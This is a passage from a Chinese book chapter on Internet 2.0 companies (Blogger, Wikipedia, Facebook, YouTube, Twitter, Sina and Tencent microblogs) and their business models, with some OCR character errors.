皮之不存，毛将焉附。个人不是新闻的主体，即使总统的言论，也要通过报社通过记者和读者见面。众所周知，办报纸的各种门槛是不低的，永远没有普及到个人的可能和必要。到了互联网时代，报纸被搬上了互联网，因此要想通过互联网发布言论就必须办网站，这也就是到了2000 年，各种明星人物， 包括演艺界的姜昆等人， 都热衷于办网站的原因。因为不办网站就没有发言权。当然这也不是每一个人都能做到的。\n博客的出现，把办报纸这么一件事变得和写日记或邮件一样的容易。任何人都可以拥有并管理自己的出版空间一一博客，博客于是迅速得以普及。\n虽然早期人们只是在自己的博客上记录一些周围发生的事情， 谈论自己的感想， 但是很快它就成为个人向公众发表言论不可或缺的方式，或者说它是每个人自己办的报纸、杂志甚至是出版社。不仅仅是以前没有机会利用传统媒体发言的老百姓喜欢这种传媒方式， 即便是那些被媒体追捧的“要人”，也发现这种方式比报纸要及时、方便和准确得多。\n博客的及时性和方便性很容易看得到。一家公司的执行官要做一个新闻发布是一件颇为费时费力的事情， 因此他们对于一些“小事”，不愿意轻易麻烦媒体。而博客则弥补了这个不足，他们可及时地发表他们的动态和观点。博客最能准确地传播它的主人的言辞和观点。以往传统媒体的报道，经过记者和编辑一转手，有时和讲话人的原意难免出现偏差，很多误会就是这么产生的。博客既然是自己写的，无论对错， 都是讲话人自己的言辞和观点。正是由于博客的这些优点，它得到了各个层次各种职业用户的喜爱。包括美国总统奥巴马和很多大公司的首席执行官都通过这种方式发表言论，作为对传统平面媒体的补充。在博客里，不仅作者可以自由发表言论，读者还可以和作者非常方便地互动交流，因此它的有效性大大超过了传统的印刷媒体。今天，在美国，几乎所有的印刷媒体，包括那些有上百年历史的著名报纸和杂志，包括《华尔街日报》、《纽约时报》和《时代周刊》等，读者数量都在下降，而博客的流量却几乎呈几何级数上升。现在，在中国的演艺界，没有听说为了方便自己发言办网站的人了， 因为都有了自己的博客，直接面对观众和读者。\n当今世界上最著名的博客公司当属Google 旗下的Blogger。Blogger 原本是一家小公司Pyra Lab在1999 年推出的一个在线写作和编辑工具，并且由此开始为写博客的人提供在线的空间。虽然诞生于互联网泡沫时代，但是Pyra Lab并不是一个烧钱的公司，因此躲过了2001 年互联网泡沫崩溃的一劫。这里面很大的原因是它的两个创始人埃文· 威廉斯（ EvanWilliams） 和梅格·荷丽菌（ Meg Hourihan ）是两个实实在在办公司的人，其中前者我们在后面介绍Twitter 时还会介绍。4年后，Blogger 已经是博客界的魁首时，它也不过只有10个人。Blogger 只是提供在线空间和写作工具，它并不拥有任何内容，也没有自己专门的写手，这和国内很多博客网站不同。Blogger 早期的一些高级服务是收费的， 但基本功能是免费的，它由此吸引了几百万写博客的人，并且吸引了不少读者。但是Blogger 一直没有找到盈利的好办法，付费的高级用户非常少，不足以支撑这个哪怕只有10 个人的公司。因此，它唯一的出路就是卖掉。2003 年，它终于找到了买主，当时的明星公司Google 。\nBlogger 和Google 合并后，靠着Google 的财力，免费开放了全部服务。\n同时它得到Google 在人力资源、设备资源和名气上的支持，业务一下子有了很大的发展，用户数量和读者数量有了上百倍的增长，成为全球主导的博客网站。并且靠着Google 的“内容广告” ， Blogger 开始有了收入来源。当然Google 没有公布它旗下各网站的盈利情况，因此至今不能断定Blogger 是否盈利。不过， Blogger 的流量和访问人数相当大，按照Alexa的排名，这两项指标在全球排第8 名，介于维基百科和百度之间。虽然包括微软在内的很多门户网站现在都提供博客服务，但是，和Blogger 相比，它们至少轻一个数量级。\nBlogger的成功主要靠创始人、时机和运气。Pyra Lab 的Blogger 诞生的时机不错， 1999 年正是互联网公司最容易融资的年代。接下来靠运气， 2003 年当美国经济困暖的时候， 已经剩下不了几家互联网公司了，Blogger 当时没有什么竞争对手。而Google 要收购公司，在市面上也找不到几家像样的公司， 于是Blogger 借助Google 的快车，一举成功。这是时势造英雄，几年前大家普遍认为Blogger 的成功很大程度上靠时机和运气。但是当埃文· 威廉姆斯再次创业两年后又搞出了风靡世界的Twitter时，大家回过头来看Blogger的创始人，才觉得他们在商业眼光、技术方案和时机把握上都是一流的。\n20.3.2 维基百科\n维基百科的英文名字Wikipedia 由两个词Wiki 和pedia 组成。Wiki 是一种软件或者说一种技术，它可供多个人在浏览器下共同编辑和修改文档，并且尤其是有超链接（ hyperlink ）的网页。因此， 很多公司内部用它来编写文档。词尾pedia 源于古希腊语的paideia ，意思是教育和文化。百科全书一词的英文为encyclopedia ，就是以pedia 做词尾。两个词合在一起就是基于Wiki 技术的百科全书。\n百科全书几百年来是学生和学者很有用的参考书。但是传统的百科全书在内容和出版发行上都有非常大的局限性。首先，传统的百科全书出版周期很长，常常一出版就已经成为了历史参考书。以著名的大英百科全书为例，它由1 00 多名专门的编辑和4000 多名专家组织编写， 从18 世纪至今不过出版了5 版，最近的一版是1994 年出版，至今已经有17 年了。印刷成书的百科全书， 容量（体积）巨大。最近的一版大英百科全书有30 多本，每本都有1000 页左右，光索引就有两本， 价格也因此而昂贵， 是一般个人无法拥有的。即使免费，恐怕也没有人能够有那么多地方存放这儿十本每本比砖头还大的百科全书。传统的百科全书，在早期，它的内容覆盖面相比当时全世界的信息量是非常充分的， 但是在信息爆炸的今天，它的条目数量比早期并没有多少增加，因此涵盖的内容相对就很不充分了。另外一个不容忽视的问题是，它们的编辑选择的条目，通常在学术上重要但不是普通人关心的， 而普通人无法决定百科全书条目的选取。这些不足越来越使得百科全书成为仅仅为学者准备的阳春白雪似的出版物，而背离了当初它作为公众参考书的初衷。\n在出现DVD 光盘以后，微软公司和大英百科全书公司合作，试图推广光盘版的百科全书。DVD 版的百科全书轻而易举地解决了体积问题，而且因为制作成本低，也不难解决价格问题。但是大英百科全书不肯降价， 微软也不勉强，而是背地里打起自己的小算盘， 推出免费的简易版。这样就彻底堵死了传统的百科全书大量销售计算机版的可能性。当然，即使大英百科全书能够以较低的价格出版DVD 版，它内容的滞后性和条目数量不足的问题还是得不到解决。总之，由于缺乏好的商业模式， 传统的百科全书彻底失去了搭上信息革命快车的可能。\n但是，百科全书在读者中的需求是客观存在的。2001 年，在互联网高潮衰退后，吉米·威尔士（ Jimmy Wales ）和拉里·桑格（ Larry Sanger ）利用上面提到的Wiki 技术，推出了一个网站，让互联网用户自己编写百科全书，然后内容免费提供给网络用户。在这中间。 Wikipedia 只是提供了用户编写内容和共享内容的一个平台，以及将相关内容自动链接的技术，而它自己不需要提供任何内容。开始很多学者怀疑这种做法是否能成功。这里面的关键在于是否会有很多专业人士无偿地为它编写条目。\n事实证明威尔士和桑格的想法是可行的， 专业人士们和一般网民们编写条目的兴致比想象的高得多。在短短的8 年里，网民们为维基百科编写了近300 万个条目的英语内容，其他语言内容的总和比英语要多很多。而大英百科全书的200 年，也不过编写了65000 内容。维基百科的条目涵盖面比大英百科全书要广得多，同时它的内容也比后者新得多。\n虽然同是作为“参考书”，维基百科和大英百科在写作和编辑上有很大的不同，这倒不仅仅表现在前者是业余爱好者的免费工作而后者是专业人员和专业编辑的“专著”。\n百科的选题完全是学术化的，每个条目必须在某个学科里”足够重要“才行。而一个条目是否重要， 则又要专家开会讨论，主编审核而定。而维基百科可以由用户自己提出要编篡的条目，只要能引起足够多人的关心，自然有人将它们编写成章，不然则会自然淘汰。在编写上，大英百科全书每个条目会有编辑主持，由专家创作，然后有其他专家审核，最后发表。每个编辑实际上是该条目的拥有者，出了问题他会负责，而大英百科全书出版社对全书负责。维基百科是基于Wiki 技术由五联网用户共同创作的，任何条目都没有一个所谓的所有者，因为即使最初编写该条目的人，因其内容会不受限制地被他人改写，无法对此条目负责。而维基百科自己并不拥有任何内容，因此其内容可以说是由全体网民共有。正是由于维基百科的这种灵活性，使它得以快速发展。\n当然，至今有人对维基百科的权威性表示怀疑。这对于维基百科的确是个问题。虽然90％ 以上的条目的内容相当准确，维基百科中确实有一些错误u因此，它的内容不能作为正式出版物的参考资料。不少中学的老师不允许学生在做作业时，依照维基百科的内容来解题。维基百科解决此问题的办法基本上是靠大量读者的”举报“和主动修正。由于维基百科常见条目的阅读人数众多，一旦有一些错误，很快可以被发现和更正。有人做过大致的统计，发现维基百科一般条目出现的错误，大约在一两个小时内就被更正了。但是对于不常见的条目，这个办法效果不佳，因为没人读这些条目的内容。总的来讲，虽然维基百科存在准确性的问题，但是，对于一般人获取知识，它还是足够好了。\n维基百科的另一个问题是它（对于敏感话题）内容的公正性。在早期， 维基百科中有很多带有偏见的条目内容， 比如在谈到印第安人历史时，把它们描述成落后不开化的民族， 带有很强的偏见。当然这些内容已经被公正的学者更正了。但是，维基百科中的内容很容易被持不同观点的人反复修改，因此用它们作为论文和研究报告的参考资料也确实权威性不足。\n由于维基百科免费、方便、覆盖面广、内容新，它迅速成为普通网民查询和获取常识性知识的重要途径。它的流量增长迅速，今天已经成为全球十大网站之一。\n在中国，由于维基百科网站不稳定，因此，网民们建立了一个类似的网站一－ 百度百科。在百度百科，百度公司实际只提供了网络服务，而并不拥有其内容，网民们在三年里自己编写了近千万的中文条目。而中同最具权威性的”中国大百科全书“ ， 30 多年前由10000 多个专家，包括1000多名院士，不过编写出60000 多条。虽然数量不能代表一部百科全书的质量，但是，作为传播和普及知识的功能，维基百科和百度百科比传统的百科全书发挥的作用更大。\n最后，值得强调的是维基百科并没有盈利，至今也不知道如何盈利。它基本上是靠赞助来维持运营。为什么这件事这么重要呢？我们在以后探讨互联网2.0的前景是就能看到了。\n20.3.3 Facebook 和MySpace\n在所有互联网2.0公司中，最具代表性的是Facebook。MySpace 和它相似，只是两者的用户群非常不同。Facebook 以大学生和大学毕业生为主，而MySpace 则是中学生的天堂。Facebook 和MySpace 远不止是所谓的“社交网站”，而是从“社交网络”起步的一个平台。在此平台上，用户不但可以提供内容，而且可以提供服务。中国腾讯公司的Qzone 服务虽然有点像Facebook ，但毕竟还是区域性的公司，而且不太开放。因此，我们这里以Facebook 为主，介绍这一类新型的五联网公司。\nFacebook 起源于社交，它的故事已经被拍成电影《社交网络》（SocialNetwork） 。但是和传统的杜交网站Friendster 有非常大的不同，这倒不是像那部电影里描述的，仅仅是贴了哈佛的金字招牌那么简单。在Friendster ，包括今天绝大部分交友网站和所谓的社区网站上，用户都有一个虚拟的脸谱，而在这个脸谱背后可能是完全一个不同的人。我们常常看到一些关于在互联网上交友上当的报道，原因就是源于这种不实的脸谐。Facebook 起初只对在校大学生和教授开放（当然后者不是它的发展对象） ，因为它要求有一个。edu 的Email 账号才能登录，而大多数人一旦离开了学校便不再拥有这样的账号。Facebook 根据大学和大学的系把用户分成组，一个人可以得到自己同学的真实资料，而无法直接获得其他大学学生的资料。由于每个用户的Email 是真的，而且早期几乎所有资料（包括年龄、性别、地址和电话）都是真的，便为大学生们谈恋爱提供了方便。\n不少本科生对我讲，他们去“早期”的Facebook 的原因是需要真实的性爱（他们的原话是Young people need sex ） 。这就如同Facebook 的共同创始人的女朋友也是这么找到的一样。由于Facebook 早期只对大学开放，甚至在不同的大学之间也无意识地通过Ema il 的域名筑起了一道虚拟的罔墙，大学生们通过Facebook 交往是安全的。Facebook 就这样发展起来了。这其中，原Napster 的创始人， Facebook 的首任总裁肖恩· 帕克（ Sean Parker ）对Facebook 的快速发展做出了巨大的贡献，使得Facebook得以迅速从哈佛扩张到欧美各大学。当Facebook 第一拨用户从大学毕业后， Facebook 便渐渐向全社会开放。这时Facebook 的性质由原来以交友为主的网站，变成了一个虚拟的社会。\n几乎所有公司的创始人和管理者都懂得，公司要想发展，就要提供给用户所需要的产品服务。他们总是挖空心思研究用户到底需要什么，如果他们猜对了，就有可能获得成功，否则一定是失败。Facebook 完全不同，它只是为大众提供一个平台，用它前一任总裁帕克的话讲， 它们其实不需要知道用户想在Facebook 上做什么，只是让用户感到酷。至于在这个平台上用户需要什么他们自己去开发。这样， Facebook 就不承担任何产品决策错误的风险，而是一门心思专注于把这个平台做酷、做好。目前，为Facebook 提供服务的各种软件技术人员多达上百万人，他们在短短的几年里，为Facebook 提供了55 万2 种大大小小的服务，使得Facebook 成为世界上人数最多、成长最快的虚拟世界。\n太史公在《货殖列传》中论述管理者和商人的关系时讲到，“故善者因之，其次利道之，其次教诲之，其次整齐之，最下者与之争” 。意思是说，好的管理者应因势利导，不干预商业活动，次一等是对商人和企业家诱之以利，再下一等的是对商业行为指手画脚， 差的是将商业管得死死的，而最差的自己跳进去和商人争利。作为一个互联网的公司也是一样，好的公司不需要提供具体的内容和服务，而是让用户自行解决。这是互联网2.0的精髓所在。假的互联网2.0的公司，自己一方面提供平台，另一方面思维还停留在互联网1.0 时代，自己同时是内容和服务的提供商，在和用户争利，中国很多视频网站都是如此。从这个角度看， Facebook 做到了五联网公司的最高境界。在现有的互联网公司中，包括大公司的在线部门，如果有哪家将来有希望挑战Google ，恐怕只有Facebook 了。\n和Facebook 相比， MySpace 和腾讯的Qzone 的这种平台化效应要小很多，而且腾讯的Qzone 目前还不完全是开放性的平台。\n20.3.4 YouTube\n很多人认为YouTube 就是在网上看电视，而且很多YouTube 在其他国家的翻版也是这么做的，但是这种理解依然停留在互联网1.0 上。YouTube其实是把电视这种一对多的单向的、广播式的媒体传播方式，变成了多对多的双向媒体传播。传统上的观众只能收视频节目，而有了YouTube 后，他们同时成为了视频节目的提供者。简单地讲， YouTube 使得每个人都可以办自己的电视台。\nYouTube 由在线支付网站PayPal 的两个退役老兵查德· 赫利（ ChadHurley ） 和陈世俊（ Steve Chen ） 创办（早期还有第三个创始人，后来退出了）。这两个人用他俩从PayPal 挖到的第一桶金创办了一个新型的视频公司。这个视频公司和早期的Real Media 等在线视频公司完全不同， 后者在建起了视频网站后，就去和各家媒体谈播放节目的合作，成为传统视频媒体的网上载体。YouTube 则不是简单地将原有的电视节目搬到互联网上，它甚至没有去和任何一家媒体谈合作，而是提供出一个平台，让用户自己去填充节目。这个想法是革命性的， 当然想到这一点的不止YouTube 一家，只是它成立公司的时机成熟，把这件事做成了。\nYouTube 很快得到了红杉资本的投资，使得它敢于靠烧钱维持快速增长的业务。但是，即使如此，它巨额的带宽费用使得红杉资本几千万的投资很快便要花完了。好在这时它已经成为新型在线视频服务的第一大公司，几家大公司，包括Google 和微软都在竞价收购它。考虑到它在今后母公司的重要性，和企业文化的兼容性， YouTube 最终决定和Google 联姻。\nYouTube 加入Google 后，业务发展更快，影响力更大。现在在美国，竞选各级政府公职的候选人，大多利用YouTube 宣传自己。在欧洲，连最古老、也是最保守的主室一一英国王室也选择在YouTube 上开设频道，宣传自己。2008 年奥运会时， YouTube 成为国际奥委会除NBC 以外唯一的全球视频传播商，以弥补NBC （和它的合同电视台）覆盖面的不足。\n为了方便用户上传视频节目，很多摄像机生产厂商都在自己的产品上安装了上传到YouTube 的按键。一家公司发展到这个时候，它的对手便几乎不可能超过它了。\n和Facebook 一样， YouTube 成功最关键的地方是自己不提供任何视频内容，这样就不会与视频提供者争利。同时， YouTube 将每个用户都变成了平等的内容提供商，这样就鼓励了全社会为它提供内容。当然这第二点严重影响传统影视公司的利益，因为它们这些”职业队“几乎被降格到和山寨个人用户平起平坐的地位。再加上YouTube 的一些用户不断盗版他人的影视节目，因此影视公司和YouTube 的官司不断。最终， YouTube（ Google） 开发了识别盗版影视节目的技术，将盗版影视节目可能带来的利益全部付给原创者，才渐渐平息了各种官司。\n20.3.5 Twitter\n2010 年，在互联网领域能够从Facebook 抢些风头的可能就是Twitter 了。\n2006 年，原Blogger 的创始人埃文· 威廉姆斯和比兹· 斯通（Biz Stone）离开Google 后和杰克· 多尔西（Jack Do rsey） 、梅格· 荷丽高等人创立了这家Twitter 公司。这些共同创始人来自互联网的两个领域， 威廉姆斯和斯通代表的博客和多尔西代表的短信（SMS） 。两股人凑在一起， 花了两星期时间开发了一种被称为tweets的产品。它是一种结合了群组短信和博客特点，由发送者（写手）向公众（公开）或他的好友（不公开）发表类似短信的消息。这个产品在中文里被翻译成“微博” 。显然Twitter的产品一开始就继承了短信和博客两种基因。\n写微博的人是发送者， 而收听者被称为追随者（Follower） 。当然，追随者也可以用类似回帖的方式发表评论， 这样就有了互动。Tweets 有一个很奇怪的规定，就是不能超过140 个字节。开始，大家都怀疑这个硬性的规定是否会大大限制了微博的表现力。后来大家发现正是这种强制的规定，大大降低了微博的门槛。渐渐地，这种不需要太费时间、太费脑子的即兴写作代替了原来比较正规、比较费时的博客， 成为活跃度非常高的网络五动行为。\n微博首先在美国流行开来，这和美同缺少一个类似QQ 群的产品行非常大的关系。美国的短信业务非常不发达， IM也是集中在两个人或很少几个人之间点对点的通信。美国过去几乎没有群聊的习惯，即使在Facebook上。实际上， Twitter 在某种程度上是补QQ 群的课， 所以普及得非常快。\n在它普及的过程中还发生一件政治事件大大地提升了它的知名度。\n200 9 年6 月，伊朗进行了总统的民主选举，参选的双方是经常和西方对抗的伊朗现任总统内贾德及倡导民主化改革的穆萨维。选举前的民调显示穆萨维明显领先于现任总统内贾德。但是选举结果大大出乎人们的意料，内贾德获得（6成以上的选票获得连任。穆萨维和他的支持者认为政府在选票统计中作弊，不接受大选的结果。于是爆发了全国性骚乱。伊朗是一个新闻受到严重管制的国家，所以一下子封锁了所有的消息。但是，漏掉了当时还不是特别起眼的Twitter 微博的服务， 一下子所有的消息通过微博“广播”和“转发”到世界各地。这下子， Twitter 在记者（或者说媒体）中间的口碑一下子传播出去了。\n接下来，伊朗政府开始封杀Twitter 的微博服务，这让全世界开始关注到这样一个小公司和技术产品。Twitter在伊朗大选危机中获得了第二次免费广告。有时候，好运气开始了，想停也停不下来。再接下来， 美国总统奥巴马（ 也是一个科技迷） ，呼吁伊朗开放Twitter 的微博服务，等于第三次为Twitter 做了免费广告。以后， 伊朗危机的来龙去脉和结果可能已经无人关心，甚至无人知晓了， 但是Twitter 和微博实实在在被公众了解了。\nTwitter 虽然获得用户的速度奇快，用户的粘性和互动性也很好，但是商业模式实在不清晰。因此，比较好的结果就是卖给一家社区网络或互联网公司。据商业周刊报道， 2009 年， Facebook 想以5 亿美元的价格收购Twitter ， 3Twítter 的几个创始人对5 亿美元这个报价是接受的。但是当时Facebook 没有什么现金，只能以换股票的方式收购。Twitter 和Facebook的分歧在于Facebook 的股票本身值多少钱？ Facebook 当时认为他们向己值80－90 亿美元， 因此Twitter 并人Facebook 后，应该占Facebook 股份的5％ 以内。但是， Twitter 发现Facebook 自己的员工内部交易股票是按照Facebook 价值在20－40 亿美元之间进行的。因此， Twitter 认为它被并人Facebook 后，应该占到Facebook 股份的20％ ， 至少是10％ 。双方的分歧如此巨大，谈判没有进行下去。今天，这两个新型的社区网络公司的股价都比两年前有了数量级的飞跃。如果按照高盛人股Facebook 的作价，它应该值500 亿美元；而有人估计Twi tter 值40 亿美元，大约是前者的8％ 。几乎没有任何收入的Twitter 已经如此昂贵，也许这真是一个泡沫。但是由于它巨大的用户数量及用户粘性，只要价格合适， 无论是Facebook 还是Google 和微软都会考虑收购它的。\n说到Twitter ，不能不说说中同的新浪微博和腾讯微博。就像任何产品从美国到中国都不会原封不动地搬过来一样，微博到了中国便有了新的含义一－新闻传播方式和追星的手段。\n五年前（2006 年） ，博客作为对于传统新闻的补充，时效性和新颖性都很好，在中国着实流行了一阵子。最受欢迎的博客主要是一些文笔较好公众人物的博客，比如徐静蕾、韩寒和李开复。正如我们在介绍博客时谈到，它的出现让每一个人都可以成为一个独立发消息的媒体。当然，对于大多数读者来讲，只会关注少数“名人”的博客。而一般人，即使建立了自己的博客，绝大多数内容都是转载的。但是，即使是李开复这样高产的名人，估计是因为忙，到后来产量也大不如前了。对读者来讲，由于无法与博客主进行互动， 阅读的兴趣也小了很多。\n微博恰恰解决了这两个问题，由于门槛低，任何公众人物，不论文笔如何，时间多少，总能写一两句。我们很难想象，像刘翔和莫文蔚这样的人能经常写出长篇内容丰富的博客， 事实上他们也没有。但是，他们的微博倒是写得很频繁， 而且读者众多。对于读者来讲，他们可以通过公众人物的微博第一时间了解一些新闻，同时，可以通过转播和回帖的方式参与互动。这种名人效应， 是微博的中国特色，这和亚洲国家普遍的追星行为相符合。相反，在美国，没有多少人因为扎克伯格少年得志，或者安妮· 海瑟薇（ Anne Hathaway ） 貌美而关注他们。甚至没有多少人关注老虎伍兹的离婚事件一一伍兹自己也不希望被关注，因此微博在美国很少作为新闻和追星的工具。\n鉴于中国微博的作用远远大于它的同类产品在美国的作用，新浪微搏和腾讯微博都能够后来居上。前者有最大的用户活跃度， 后者则培养了迄今为止世界上仅有的两个听众超过1000 万人的博主一一刘翔和李开复。\n20.4 是革命还是泡沫\n迄今为止，所有的互联网2.0公司都没有盈利， 而且都没有找到合适的商业模式。因此很多人，包括风险投资公司，认为互联网2.0不过又是一个科技泡沫而已。当然，也有人认定它是一场新的革命。\n从技术的层面看，互联网2.0并没有太多新技术，它更多的是对互联网生态环境的一次优化。如果我们把互联网2.0前后的格局和微软出现前后的世界计算机产业的格局做一下对比，就会发现二者的发展有惊人的相似之处。在微软以前，以IBM 为代表的计算机公司总是从硬件设备到操作系统软件再到所有的应用软件从头做到尾，每一家公司都希望全世界就它一家独大，其他计算机公司最好都消失。\n微软创立，它成功地向全世界显示，只要它把一个操作系统平台做好就足够了，至于操作系统上需要什么应用软件，就交给各个大小软件公司和个人去完成了，这不是它微软的事情。同样， 它也不关心计算机厂家是如何设汁计算机的，只要它们愿意采用微软的操作系统即可。在这样的前提下，只要不和微软竞争操作系统平台（和它最赚钱的Office 软件） ，微软不介意出现越来越多的小软件公司，毕竟，它们是在变相维持着微软帝国的统治地位。\n和微软同时代的另一个软件巨人甲骨文也是如此，虽然它没有自己的操作系统平台，但是它牢牢控制着世界上市场最大的应用软件一一数据库系统的平台。甲骨文并不需要像以前的IBM 一样直接为银行和大公司开发数据库，而是仅仅提供一个通用的数据库平台，具体的数据库软件要在这个平台上进行二次开发。至此，计算机的生态链就形成了，它就是我们前面介绍的样子。\n在互联网1.0 时代，像雅虎这样的超级门户网站，实际上扮演起了当年IBM 的角色，它提供几乎所有上网必备的服务，从用户拨号上网（后来是DSL），到互联网的目录和查询，到Email ， 再到即时留言和语音服务。\n同时它还是新闻、视频和其他形式的内容的提供商，并且又是几乎所有重要商业活动的提供商，包括找工作、在线旅游业和网上购物、网上支付，等等各种活动。概括起来讲，它覆盖了整个互联网的产业链。\n互联网2.0公司的一个普遍特点就是专注于打造通用的平台，而由社会上的开发力量和广大用户补充成完整的服务，从Wikipedia 到Facebook 都是如此，它们相当于软件时代的甲骨文和微软。当年的甲骨文和微软在技术上并不比IBM 更好，但是它们占据了软件时代的制高点。\n如果这么对比，这些互联网2.0公司也占据了全球五联网的制高点，照说它们本来应该非常有前途，但是从商业上看至今并非如此。如果从2000年Blogger 的出现算起，互联网2.0至今已经10 年了，它们在商业上的表现依然不尽如人意。现在， Blogger 、MySpace 是靠Google 直接和间接的补贴； Wikipedia 的运营成本不高，干脆以一个非盈利形式出现，靠到处化缘为生。YouTube 和Facebook 情况最好，前者在多年亏损和Google的扶植下，于2010 年开始盈利，这主要得益于Google 全球最大的广告商群；后者Facebook 2010 年则有3 亿美元的盈利，但是在全球互联网公司中依然排不到前面甚至不如它的中国版腾讯公司2010 年一个季度的盈利。软件公司微软和甲骨文10 岁的时候已经是商业上的巨人了，传统的互联网公司雅虎和Google 开始盈利的时间则更短，分别只有四年和三年。互联网2.0公司的经济状况和它们在当今互联网中的名气、流量和地位极其不相称。\n造成这个矛盾现象的表面和直接的原因在于现存的五联网2.0公司没有一家找到了合适的商业模式，它们甚至在一开始都不考虑这个问题。微软和甲骨文在创办的时候，就知道今后采用什么商业模式。雅虎和Google 则比较幸运地“碰到”了广告这种有效的模式。互联网2.0，既没有甲骨文和微软对商业的预见性，又没有雅虎和Google 的运气。商业模式都不适合它们。向用户收费是否可行？ 这显然是不合时宜的做法。有人或许会讲，互联网2.0公司是否能像Google 和雅虎那样靠广告挣钱？事实上他们都在尝试，可惜效果并不很好。\n我们不妨清理一下上面提到的几家著名的互联网2.0公司。Wikipedia 干脆走非营利组织的道路了， 不可能有什么好的盈利模式了。MySpace 做显示广告（ Display Ads ）的效果奇差，并且从2007 年起就开始走下坡路，可以讲是失败了。YouTube 其实是走了传统的电视广告的路，因此它的广告效果已经被电视这样的传统媒体的广告效果封顶了。大家知道，既然不能突破传统行业的水平，当然不能说是革命。如果不是因为Google 有全球最大的广告商联盟和数以百万计的广告主， YouTube 也不可能盈利。\nFacebook 稍微好一点， 它靠自己的广告收入盈利了，但是每千次广告展现（RPM）的收入比搜索广告还差好几倍，甚至是数量级的差异。\n虽然Facebook 在互联网上可以说是一个奇迹，因为它打破了Google 不败的神话。在此以前，互联网上和Google 竞争就如同在操作系统上和微软竞争，几乎毫无胜算。但是，在商业模式上，它依然处在摸索阶段。读者也许会问，现在Facebook 不仅流量比Google 大很多，它的用户平均花的时间也比Google 的用户长，再加上Facebook 中有用户的准确信息，为什么Facebook 上的广告收入不能超过Google？ 这里面有两个深层的原因。\n第一，广告的效果。总的来讲，广告商们都不是傻子，他们讲究广告的投入产出比（ Return of lnvestment ，ROI），也就是每花一元广告费可以带来多少生意。所有网民在网上的购物（包括付费服务），或者在实体商店达成交易，是一个非常长的过程，一般人们通过聊天等社交行为了解到一个产品，Facebook 等交友网站是在这个阶段为用户服务。然后，他们要做调查，读评价，做比价。这时他们就去了那些评论和点评的网站，等他们真要买的时候，就去Google 等搜索引擎去找。越往后广告效果越好，越靠前越差。也就是说，互联网上的流量的商业价值相差甚远。这样，Google 等搜索引擎公司挣走了广告的大头，而点评和评论网站的流量，也是被公认为广告价值仅次于搜索引擎的有效流量。而交友网站和杜区类网站流量的商业价值最小。在中国，百度上单位流量的商业价值可以是一般交友网站的上百倍。类似地， Facebook 的广告效果比Google差很多。\n第二，整个在线广告的总盘子大小，取决于电子商务的发展。美国电子商务的规模目前为全球第一，根据商业部的统计数据。 2010 年每个季度的营业额大约是400 亿美元，每年以696－896 的速度递增。而广告大约是每季度60 亿美元。Google 一家（包括它的合作伙伴）占据了美国互联网广告市场的2／3 和世界市场份额的一半，如果再除去雅虎和微软，在线广告的市场份额将所剩无几。像Facebook 这样的公司要想靠广告成为下一个Google ，就必须抢到Google 这么大的广告市场份额，而事实证明这件事如果不是完全不可能的话，至少也是非常困难的。 因为Google 广告的效果非常好。若不能抢走Google 主要的广告收入，即使Facebook 获得了互联网上全部展示广告的收入，基本上也就是雅虎今天营收的两倍不到，可是Facebook 的估值已经达到了雅虎的两倍，也就是说它的市值已很难扩大了。\n互联网2.0公司要想盈利，必须有自己独特的盈利模式，而不是现有互联网公司的广告模式。其实，像Facebook 这样的社交网络，是一个虚拟社会。任何社会发展都会出现商品经济，在虚拟社会上也是如此。因此，Facebook 大可不必抄袭Google 的商业模式。在这一点上，中国的游戏网站的道具、腾讯虚拟物品和交易手段货币Q 币的模式就是一种创新。从本质上讲， Q币的模式不是无价值虚拟货币，实际上是一种在线支付手段，只是购买的对象是增值服务或虚拟物品而不是实物而已。依靠这些虚拟社会的增值服务和虚拟商品，腾讯成为了中国最挣钱的互联网公司。\n那么，如果Facebook 照抄腾讯的商业模式，是否能成为全球最盈利的互联网公司呢？ 这个可能性不大， 因为Facebook 只是一个开放并且不和第三方服务提供商竞争的平台，上面的增值服务不是它的。这就好比免费的Linux ，虽然使用的人多，挣钱却比垄断的微软少很多一样。\n但是，有一件事情却可能把Facebook 提升为信息产业的龙头公司，这就是在线支付。既然人们在虚拟社会里，需要制作和消费虚拟物品和服务，就需要虚拟的金融体系，而Facebook 恰恰是成为这个虚拟金融帝国最好的候选， 并且有可能从虚拟世界渐渐过渡到现实世界。由于美国金融系统的非垄断性， Facebook 推出一个类似PayPal 的在线支付不是很难。也许是在线支付领域而非广告更能成就Facebook 的事业。\n互联网2.0的公司作为一股新的力量，实实在在地存在于我们身边，并且在改变整个互联网行业的生物链。我个人比较倾向于把它作为互联网发展的一次成功的进化，而不是颠覆性的革命。在英语里进化和革命只差一个字母（evolution 和revolution ） 。但是二者的差异是巨大的。互联网2.0将整个互联网产业进行了一次明确的分工，让它的上下游生态链更加清晰。但是互联网1。0 和2.0之间的基因差异不大，前者可以进化成后者。\n正是这个原因，除了Facebook 外，纯粹的互联网2.0公司都没有机会最终证明其成功，因为像Google 这样的互联网巨头可以在较短的时间里将五联网2.0的模式融于自己的服务中，并且拥有自己的互联网2.0的平台，从而挤压了互联网2.0公司的生存空间。\n在中国，这件事已经发生了。腾讯就是将互联网2.0基因植入自身非常好的例子。这个本来靠即时通信QQ 起家的互联网公司，原本应该是互联网1.0 的典型代表。在2004－2005 年，当中国复制YouTube 和Blogger的那些所谓互联网2.0的小公司已经遍地开花时，腾讯依然离它们很远。\n但是所谓互联网2.0的概念，因为技术门槛并不高，腾讯公司在自己的核心业务中植入互联网2.0服务并不需要太长时间。果然，几年过去了，中国各个互联网2.0公司都还没能盈利时，腾讯已经后来居上，打造好它的互联网2.0平台Qzone 了。现在腾讯反而成了中国互联网2.0最好的代表，连布隆伯格新闻社都认为Facebook 很像腾讯（不是腾讯很像Facebook，而是反过来） 。这样，中国在五联网2.0方面基本不可能有像样的新公司出现了，就如同微软以后不会有像样的（客户端）软件公司出现一样。且不说已经消失了的互联网2.0公司，就是生存下来的依然打着互联网2。0旗号的公司，早已退化成简单的视频网站和交友社区，基本退化回互联网1.0 的状态，有心的读者可以数一数中国现有的所谓互联网2.0公司，有哪家真正具有了我们提到的互联网2.0必需的特性。同样的事情出现在新浪微博上， 中国因此也不可能有自己的Twitter 公司了。因此，在中国，互联网2.0的结局就是为他人做嫁衣。\n除了和互联网1.0 